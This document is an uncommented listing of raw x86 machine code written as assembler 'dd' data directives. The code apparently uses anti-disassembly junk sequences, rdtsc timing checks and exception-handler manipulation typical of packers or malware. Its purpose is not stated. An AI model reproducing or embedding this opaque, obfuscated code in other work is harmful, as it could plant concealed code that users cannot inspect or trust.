dd 4244C89h, 4244481h, 19h, 99C35141h, 0D7F63480h, 0DBF6677h
dd 9E9508Dh, 0A4000000h, 449DD6CFh, 3005241Bh, 0F240489h
dd 68Dh, 0ED858900h, 6A064832h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6AD1D69Bh
dd 1BD2B00h, 0FF06481Fh, 482B2D95h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BFD2F998h
dd 7DA3A321h, 0EDE78166h, 388D8D99h, 6A064B99h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 0AC1CC352h, 2C1A7CA0h, 57609B37h, 840Fh, 665A0000h
dd 615E88BAh, 0E381D1FFh, 690B54F0h, 30E5BD83h, 0F010648h
dd 0DF85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 0E9339018h, 6AF88B66h, 56006A02h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 1C57533Bh, 90F4EAC4h, 0E8605250h, 10h, 6F3D8671h, 0DC7EBA2Ch
dd 7EC701F7h, 0F0522747h, 619CB15Bh, 585A310Fh, 1B8F0F50h
dd 0E8000000h, 13h, 0CC7C72B6h, 0C59408B7h, 0A726D5FAh
dd 987F178h, 0B7C4E572h, 6A905F46h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 75DCC356h
dd 9E8D3h, 94430000h, 0CDAFDC96h, 0BF595516h, 1BE19098h
dd 5195FF5Bh, 0F064800h, 118Ah, 0CE900h, 54AE0000h, 0ABEEEFB8h
dd 0C7AE781Eh, 9D295945h, 6482299h, 0E13E9h, 0E800h, 815D0000h
dd 4CE8B5EDh, 0E9EDB706h, 9, 46B6DA88h, 0A8CA1C5Dh, 57006A0Fh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 755AE68Bh, 13E63261h, 304DBD8Bh, 0BD890648h, 64812BDh
dd 93DA858Dh, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 8BFFB1C3h, 0FE94Ch, 0FD7F0000h
dd 373079D9h, 0BF3F0B3Fh, 0DF698791h, 48950CFh, 53006A24h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 61D75094h, 7F2DB4FCh, 81667D06h, 640777F7h, 35FFh, 0BD290000h
dd 648291Dh, 10C38166h, 258964E1h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 5BC35141h
dd 0F7B3E846h, 0A19D8BFEh, 0FF06481Bh, 481AD185h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 4BB99AAAh, 1DA68D4Eh, 0F98BBCC3h, 6AFF6Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0E3E931C3h
dd 0E799D09h, 8A0F0648h, 6, 2F719589h, 0B5FF0648h, 6480E25h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4AC35747h
dd 93EC647Ch, 64654D2Fh, 8E8h, 0DF073500h, 71D021Dh, 0E19D8BB7h
dd 5F06480Fh, 10D995FFh, 6BE90648h, 1000001h, 480439B5h
dd 0B0DE8A06h, 7E800h, 0FEC00000h, 0DF188258h, 4DF1BFA4h
dd 0E65B0AC7h, 0E4D2B370h, 8E971h, 6FCF0000h, 0FD345D2Eh
dd 613CBDB0h, 134830Fh, 0D98B0000h, 0FC8B60Fh, 28Bh, 0BAFE8B00h
dd 6, 2BF7E781h, 0C18B583Bh, 0EF9BD0Bh, 0BF660648h, 0E8C1C7E5h
dd 66F98B04h, 0C82BE2F7h, 61C38166h, 81D18BB4h, 0F8DCFBEBh
dd 0C1BD8B35h, 0E9064821h, 0EEh, 4C44858Bh, 8B665F4Ch
dd 7C083DAh, 0CE8h, 48EC4B00h, 3E2379AAh, 764B0193h, 819D2B6Eh
dd 5B064804h, 0E900C083h, 0Dh, 80864A00h, 0D7AAE69Bh, 7FA85A3Bh
dd 0FD03B6Bh, 4D83h, 14E800h, 730A0000h, 76193DA0h, 88FCB51Ch
dd 2371DF2h, 55AA2C3Fh, 0BF6691C5h, 0E95F81EDh, 8Ah, 445BD31h
dd 0E9600648h, 0Dh, 1238B3FBh, 5B603283h, 1E30AAB9h, 0BE957h
dd 0B2450000h, 13E01170h, 9B10998Dh, 8D8B6116h, 0FFFFFFFFh
dd 3339B589h, 0EE90648h, 53000000h, 268A80Dh, 44EAF4BAh
dd 64DA267Eh, 1E18372h, 38840Fh, 8D890000h, 64810E9h, 0FFFFA583h
dd 0E9FEFFFFh, 9, 9C0A7E40h, 0DD20B538h, 44958997h, 0F5F4C4Ch
dd 686h, 3D9D3100h, 8B06480Ch, 4806E99Dh, 0E906h, 0B58D0000h
dd 64C6412h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 8692A4C3h, 2D95FF18h, 6A064809h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 79B1C357h, 0A8E50E98h, 51C459F0h, 2A71B529h
dd 87B90648h, 0E800000Eh, 12h, 770932C2h, 7332FC37h, 0E02D2768h
dd 0D61BEE5Fh, 5FFC3751h, 6AFCE183h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 24C1C355h
dd 6EECD13Bh, 61BD0BF4h, 8906481Bh, 480FDDBDh, 0B509FC06h
dd 6482765h, 0B8h, 82E78100h, 2B433046h, 51006AD2h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 5D0C4D34h, 5A51231Ah, 8E0F1086h, 16h, 11E9h, 0A0F17B00h
dd 6371FE0Bh, 99C4614Fh, 7F1FDF39h, 33AD3218h, 3E8D1C2h
dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 624793C3h, 29B6C709h, 3ADB501h
dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 10174FC3h, 65BE5CE9h, 0E91C3797h, 11h, 4F2AA7B8h
dd 0EED9B8CEh, 0F4673A6Dh, 402B2601h, 0EB8166AFh, 0BB6641B7h
dd 880DD4B2h, 8B000000h, 482F95BDh, 5958B06h, 80064814h
dd 8D8B0AF3h, 6483025h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 76C35646h, 0ADAD38E4h, 84B1BE90h, 0AE956h
dd 0FA370000h, 0C7228A2Fh, 0DF55E4C9h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 0EC37E7C3h, 0FE8AE994h
dd 83DEB70Fh, 4812FDBDh, 840F0006h, 62h, 30A59589h, 0B80648h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 4FD9C353h, 0BD8B1907h, 6480E41h
dd 4E808D8Dh, 0BD8B0648h, 6480901h, 6AE1FFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0EFE05DC3h
dd 199376E6h, 0BD830CFCh, 6482AD9h, 0C840F00h, 6A000004h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 1285C353h, 0E67FCD8Eh, 0E761BF66h, 6DB58960h
dd 6606480Ah, 8361DE8Bh, 482AD9BDh, 840F0106h, 3EAh, 10820Fh
dd 0BE90000h, 38000000h, 5BD92F9Fh, 3340FF40h, 0BD835C19h
dd 6482AD9h, 91860F03h, 6A000003h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C9C0C350h
dd 1CD19D0Bh, 8B600648h, 0D98C66F8h, 80FE8B66h, 6A04E1h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0C127CCC3h, 33B55D49h, 20358D89h, 0B70F0648h, 0FC90AF8h
dd 12584h, 4D9D8B00h, 8B064812h, 48115985h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0A0D95206h, 0F1D59723h, 0DB8166FAh, 8533C4A8h, 6481219h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8C35747h
dd 80D94156h, 0B35040EFh, 240489C9h, 0AE8h, 0C3393500h
dd 0EC10F4B8h, 8B75F39Fh, 48126D9Dh, 6A5B06h, 0BEB8BB66h
dd 4E8h, 1F03FF00h, 0CE800h, 691B0000h, 19F4A6Bh, 0B1A017DFh
dd 48BF0AF6h, 5F433914h, 8E950h, 58C0000h, 0EC4E88E8h
dd 448B1FBDh, 8B660424h, 0B3008BFEh, 24448917h, 585B5304h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BBC35343h
dd 66F9C441h, 0BF66567Ah, 95B14D2h, 4830D98Dh, 4195FF06h
dd 89064807h, 480411BDh, 89858906h, 0E9064BB6h, 11h, 0B66F87E7h
dd 52029001h, 0A3BF81DDh, 51DC005Ah, 219D895Dh, 0E906481Ah
dd 1B0h, 16A1B529h, 858B0648h, 64BB681h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 19h, 2AC35343h, 0C31BC1C9h
dd 4F78122h, 0C72213BBh, 1800h, 1BD3300h, 8B064809h, 4BB685B5h
dd 6830F06h, 89000000h, 481A8195h, 85858B06h, 6A06481Ah
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0A957C350h, 75BD8960h, 89064800h, 89565606h
dd 481ACDBDh, 8B5F5F06h, 48115985h, 0CDBD0306h, 6006480Bh
dd 204306B9h, 0FE932h, 4A830000h, 0ABAF2A07h, 7488BE09h
dd 6EF5EE91h, 46896123h, 50006A04h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 79B14D43h, 0BD8B0E98h
dd 6480621h, 24348950h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0D6C35040h, 0C951B001h, 0B9B5899Eh, 0FF06480Bh
dd 4BB681B5h, 0EAAEBF06h, 0BF6867DAh, 50902DE8h, 178B0F52h
dd 0E8000000h, 11h, 52ADA741h, 63B50D8Eh, 847EB233h, 0D74CE6E5h
dd 310F5FFDh, 10E9h, 0C154BD00h, 383B2DF8h, 58922E4Ah
dd 0D6C919E6h, 81585A27h, 1B402404h, 6A6FF1h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 858D11C3h
dd 64BB689h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 9BC35646h, 9D0943A6h, 64821DDh, 7E950h, 0A2240000h
dd 7C620020h, 2404895Ch, 4195FFF9h, 0F8064807h, 0D8B70F61h
dd 2AD985C7h, 30648h, 83F50000h, 4BB689BDh, 840F0006h
dd 44h, 58E969B7h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 9D88C351h, 6171CC56h
dd 38D0Fh, 8B660000h, 0BE8D9h, 123A0000h, 0D770E89Dh, 0AAEDA701h
dd 5B5F512Ch, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 0E8C08B00h, 0Ah, 0C4AC008Ah, 0FB7BBEFAh, 0EE852B4h
dd 6F000000h, 0D4C9D748h, 0C737484Fh, 73231C84h, 0C09EBB6Bh
dd 5F5B18EAh, 6ADEBF0Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0AFCCC352h, 3A18F77Dh
dd 66748CE4h, 0BD83D88Bh, 6482AD9h, 0CC850F03h, 6A000003h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 4173C351h, 6C5384Ch, 67B48E1Bh, 0B689BD83h
dd 0F00064Bh, 39A84h, 3840F00h, 66000000h, 0B5FFDE8Bh
dd 64BB689h, 7F4BD781h, 95FF7BF6h, 64809F5h, 15719D23h
dd 12E90648h, 1B000000h, 1462E89Fh, 4A988565h, 7E5C70Eh
dd 3D57FA8Fh, 7DB58B76h, 0E8064BB6h, 6, 7483FFEh, 9D8BF638h
dd 648145Dh, 0DBD8B5Bh, 0C7064818h, 1000106h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 9065B101h, 9818589h, 8B560648h, 4829D99Dh, 8F0F5B06h
dd 4, 0C59DBB66h, 24348950h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 0BCC35242h, 16B0B03Ah, 0C9482112h
dd 0B689B5FFh, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0C66C53C3h, 6446DF6Ah, 95FFA31Eh
dd 6480061h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0E6C35040h, 6A7D421h, 0B58B5AD5h, 64BB67Dh, 2F298589h
dd 858B0648h, 6480F25h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0CBC35242h, 0D9AE1265h, 0C5C48D54h, 0DE8B66AAh
dd 7DBD89h, 86890648h, 0C4h, 6840Fh, 9D8B0000h, 6481409h
dd 1405958Bh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 7F564EC3h, 3752CCC9h, 1B18509h
dd 0C2830648h, 69BD8B04h, 89064828h, 8D892050h, 6480B9Dh
dd 77EECEBFh, 0D4858D5Fh, 89064BCAh, 0B886h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0E680DBC2h, 0C3816671h, 6A1E8Eh, 0F422BF66h, 0B689B5FFh
dd 0EE9064Bh, 1B000000h, 97030C6Bh, 496705B5h, 52F3A68Bh
dd 5195FF84h, 66064800h, 960905BFh, 0CE9h, 37349F00h, 2A2AC893h
dd 0FB88CB74h, 0BE95003h, 92000000h, 0A0A54D0h, 0A4D1C360h
dd 0FF969EFAh, 4BB689B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 0FE9CCh, 3CBA0000h
dd 6A54F06Dh, 0A05456D5h, 6F941A54h, 2995FF1Dh, 66064814h
dd 8335B1BBh, 4831A9BDh, 840F0006h, 39h, 0BB96DF8Bh, 592C2CBAh
dd 0FA8B6650h, 14E996h, 0E0170000h, 0DAD586D9h, 13DEF1F1h
dd 0CBD88493h, 0C9D9AD8Ch, 7E83F96h, 0A5000000h, 6571A82Ch
dd 0B509DE50h, 6481BD1h, 89B5FF5Bh, 6A064BB6h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0BF7BC351h, 786099FDh, 0FD95FF10h, 23064813h, 480591BDh
dd 89B5FF06h, 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 55AAC352h, 0CAD91C5h
dd 8E83Dh, 1FF80000h, 0DF6CDA9Eh, 0BD89A2E8h, 6481F0Dh
dd 7D95FF5Fh, 0F064817h, 68Bh, 0F6E38100h, 8368065Eh, 482F1DBDh
dd 840F0206h, 34h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 3C35343h, 2B3D80D8h, 4816DD9Dh, 51858B06h
dd 0C6064815h, 9D8B0000h, 6482BF9h, 16E185C7h, 648h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 51D791C3h, 0BCD9D89h, 0E95B0648h, 0FFFFF330h, 6AC18Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0BD8955C3h, 64814B9h, 1255858Dh, 8B660648h, 0E95390DFh
dd 0Eh, 40D397A1h, 60CC37C7h, 0F732D8B5h, 505FFF87h, 0D800Fh
dd 8E90000h, 0DA000000h, 0C41F7E4Fh, 90C8F6CFh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 47C35141h, 0BF0F1BBBh
dd 0BF006AFFh, 1FAC1044h, 9D8B006Ah, 64830DDh, 0F908858Dh
dd 6A064Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 80FC28C3h, 0C08317CBh, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 86D45A8Fh
dd 13E8597Ah, 0CE000000h, 11F1FA59h, 9983CF77h, 7563F7FEh
dd 5B94CF0h, 5F502573h, 68E0F5Fh, 89000000h, 48023595h
dd 0F509006h, 83h, 6A9000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 5EA97C3h, 8C0F85A6h
dd 6, 200DBD8Bh, 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 18C35040h, 0A29CB46Dh, 3444528h, 12699D33h
dd 0BD030648h, 64815A1h, 0BF66006Ah, 95FF708Eh, 6482B2Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h
dd 7498AF01h, 9B774DE1h, 598D895Fh, 8D064809h, 4B99388Dh
dd 0E9F88B06h, 11h, 0A3043669h, 0CB1988C9h, 19787F3Fh
dd 6E8FBB1Bh, 89D1FF55h, 48277DBDh, 0F78106h, 837DB776h
dd 4830E5BDh, 850F0106h, 99h, 2FA9BD03h, 26A0648h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 48C35343h, 0B1B6DF9Ah
dd 30DDBD29h, 0F900648h, 482h, 18BB6600h, 0D98B50F4h, 52006A90h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 5195FF62h, 6A064800h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 6EDBC352h, 93122829h
dd 13E9F5h, 40D00000h, 723FA81Ah, 5965A00Bh, 5D15B5A7h
dd 259A8EA9h, 0EAFE962h, 0E80000h, 5D000000h, 0F912ED81h
dd 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 0E960CEC3h, 0Ah, 7514721Eh, 0B7E1FEFBh, 0DE97107h
dd 0A7000000h, 0A30B334Ah, 296F6046h, 0BA77169Fh, 0FE8B6661h
dd 93DA858Dh, 8589064Bh, 64814E1h, 28D98D89h, 50900648h
dd 0D860Fh, 52500000h, 310FD8B7h
dd 0E799FBFh, 90585A1Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0E9C35646h, 8D0F60B5h, 6, 6A1BD2Bh, 8B660648h
dd 4DBF61DAh, 642212FDh, 35FFh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 558C73C3h
dd 79CEBE57h, 10E855CFh, 69000000h, 4979305Bh, 539D5F25h
dd 42E568F1h, 893EBC7Ch, 4807F98Dh, 0BF0F5F06h, 258964FAh
dd 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 54C35343h
dd 0D0C04464h, 85FF1A92h, 6481AD1h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 41C35242h, 0FE796F30h, 43212FD7h
dd 6AFF6AB3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 36FC351h, 0E7BF6608h, 71B5FFADh
dd 6A06481Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0C0A7C355h, 5ACB811Dh, 0FF3DACCFh
dd 4810D995h, 166E906h, 0BD030000h, 6481EE5h, 0BD8B00B0h
dd 6482329h, 0BD8B70E6h, 64812E5h, 0AE871E4h, 9A000000h
dd 0C81CBB6Ah, 7F013F0Dh, 9E98Ah, 0C30D0000h, 69D3AE2Ch
dd 5FEF4973h, 830F613Ch, 128h, 312D9529h, 0B60F0648h, 0FE8B66C8h
dd 333D9D31h, 6BA0648h, 66000000h, 66C6CCBFh, 8BECACBBh
dd 5E9C1h, 0EEDB0000h, 0C12FBADFh, 9D8B04E8h, 6482389h
dd 66E2F766h, 234EE781h, 8C0FC82Bh, 6, 0DF59501h, 0D18B0648h
dd 6E9h, 42BA2800h, 0E9E48ECBh, 13h, 0A448696h, 0B255199Ah
dd 296EDB60h, 0F5931228h, 0E98A2871h, 0B4h, 0FE9h, 6820600h
dd 19D955Ah, 0A85FCA2Dh, 17B4CCAh, 4C50858Bh, 0BF0F4755h
dd 9D0960DAh, 64817B9h, 7C08361h, 83DE8B66h, 5E800C0h
dd 0F6000000h, 40C6B2CBh, 2810Fh, 88B30000h, 0FD03B5Fh
dd 2783h, 198A0F00h, 0E8000000h, 0Dh, 6FCF33CEh, 0FD345D2Eh
dd 0A83BBDB0h, 0D59D8B76h, 5F064812h, 47E9h, 0DFBF0F00h
dd 0FFFF8D8Bh, 9D8BFFFFh, 64804BDh, 0F01E183h, 2F84h, 559D8B00h
dd 83064811h, 0FFFFFFA5h, 11E9FEFFh, 8B000000h, 0EB86F72Bh
dd 0A8C8D1DFh, 9950369Dh, 4689B17Dh, 4C509589h, 0E9F94755h
dd 0
dd 7299B58Dh, 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 2D24C3C3h, 0FE3E74AFh, 6A32CA4Eh
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 755BCC60h, 65AC4F78h, 0FFDABF0Fh, 48092D95h
dd 999D8B06h, 0B906480Bh, 0FE7h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 0A6C35141h, 8B668C72h, 0FCE183DAh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 92C35242h
dd 8B630DA4h, 2A5011C0h, 66FCFA8Bh, 97DBEB81h, 0B8h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0A9E54939h, 68F598E6h, 9D2917C9h, 6483365h, 0BAh, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0D9D8B51h, 89064829h, 48053D8Dh, 0ADF98B06h, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 1C55C350h, 8A5A4D42h
dd 701E336Fh, 30D8589h, 0B5890648h, 6480CE5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 2FC35141h, 0FF405BD9h
dd 5C193340h, 8AFD8A4Eh, 880DDCh, 958B0000h, 6481405h
dd 13E9h, 0F2C82B00h, 661F105Dh, 0F181D7F0h, 3B4C0ACEh
dd 111CB279h, 30258D8Bh, 5E80648h, 6C000000h, 0B025206Dh
dd 0A59BD89h, 8B5B0648h, 482BC99Dh, 0C28B5006h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C605C355h
dd 71850911h, 0F906480Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0B2C35646h, 0E09DB51h, 818A0CC4h, 0BE9h
dd 936CEE00h, 0B2A13AAFh, 2538AC54h, 83FBBF0Fh, 4812FDBDh
dd 840F0006h, 1Fh, 1B75BD8Bh, 0B80648h, 8B000000h, 482B21BDh
dd 808D8D06h, 0FF06484Eh, 0DFC381E1h, 83253E0Bh, 482AD9BDh
dd 840F0006h, 40Ch, 11799D8Bh, 0BD830648h, 6482AD9h, 14840F01h
dd 29000004h, 4812319Dh, 0D9BD8306h, 306482Ah, 3CB860Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0AB5E97C3h, 9D8B396Eh, 6480A2Dh, 0B99BD23h
dd 66600648h, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 9B3D5AC3h, 0F948318Dh, 1C6DB589h
dd 0E0BF0648h, 80127904h, 0F38004E1h, 0FC90A16h, 12284h
dd 0E7816600h, 858B4101h, 6481159h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0E2C35242h, 579691ECh, 81665749h
dd 5FB3DDDFh, 12198533h, 6A0648h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 0D03EC3h, 0EA1C7DB2h
dd 8C0F189Ch, 2, 9D23FA8Bh, 6482B45h, 0FE8B6690h, 0A32BBF50h
dd 1901FEEh, 48326195h, 0E9006A06h, 9, 8DB0ADCDh, 57C240E8h
dd 4E8D5h, 3FF0000h, 6650001Fh, 8BAC7ABBh, 8A042444h, 66008BF9h
dd 4489F88Bh, 52500424h, 0FFE8B66h, 0F08B6031h, 1E436BFh
dd 585A6120h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 8B664C95h, 4195FFD9h, 0F9064807h
dd 0B6898589h, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 927C58C3h, 0DB80426Eh, 0F987BF67h
dd 0B0E97B0Dh, 0E9000001h, 7, 177FC4CFh, 8B8EDB40h, 4BB68185h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 94039B8Bh, 5E9D6h, 9510000h, 0C7300FD4h
dd 1800h, 0F7DB8000h, 0B685B58Bh, 6A064Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7B428AC3h
dd 0AD4BBB6Fh, 858B3ACBh, 6481A85h, 0EE9h, 0A6CD3F00h
dd 34338DDDh, 73BB1FFBh, 8920EC03h, 19950106h, 8B06480Ah
dd 48115985h, 0BF7DBB06h, 468977B5h, 0C9BD8B04h, 5006480Dh
dd 7DBEC6BFh, 24348902h, 5B509h, 0B5FF0648h, 64BB681h
dd 0B299501h, 95290648h, 6483295h, 4E8h, 1F03FF00h, 0DF8B6600h
dd 0F606050h, 8Ch, 6140B700h, 0BF19BA66h, 24448B61h, 6BBF6604h
dd 56008B8Bh, 12E9h, 9046D300h, 7A7C8011h, 0FA08BD57h
dd 673DCE3Ah, 5F250A71h, 4244489h, 58FB8B66h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 34C35343h, 0FF75E063h
dd 8DDA76AFh, 4BB68985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0E91BF726h, 90E7BF25h
dd 8950F708h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0FBB1DFC3h, 9FE42BFAh, 4195FF3Bh
dd 6A064807h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0EDBDC353h, 0DF6B3C38h, 0E5BD8B51h
dd 61064806h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 20C35141h, 0F87471Eh, 31D9C54Dh, 0E51BD89h, 85C70648h
dd 6482AD9h, 3, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 1AC35040h, 0BD83D0B0h, 64BB689h, 3A840F00h, 89000000h
dd 4810919Dh, 62BB6606h, 46E986h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 96711BC3h
dd 78D93A77h, 0F63EF23h, 8Ah, 0C305000h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 80DA8B66h, 6A2CEBh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0E63042C3h, 0E8870FE1h, 8, 48D3DF9Dh, 0C0E5B6DBh, 10E8h
dd 11DDA200h, 2A64126Bh, 0C7044A6Eh, 69CF5DCBh, 14E857h
dd 0EE560000h, 773A5DECh, 1ADD752Eh, 0AED07A3h, 0D153FDA9h
dd 5F5B97D4h, 0D9BD835Bh, 306482Ah, 482850Fh, 0BD830000h
dd 64BB689h, 75840F00h, 66000004h, 0D25FDB81h, 0B689B5FFh
dd 850F064Bh, 0Bh, 6E9h, 1E43B600h, 0FF245840h, 4809F595h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 2E16F486h, 89B607E6h, 4833399Dh, 6850F06h
dd 81000000h, 6E1684D3h, 9D89603Ch, 64807EDh, 0AE9h, 5E274300h
dd 0E64A60BBh, 61F6A8BBh, 0B67DB58Bh, 9E9064Bh, 5F000000h
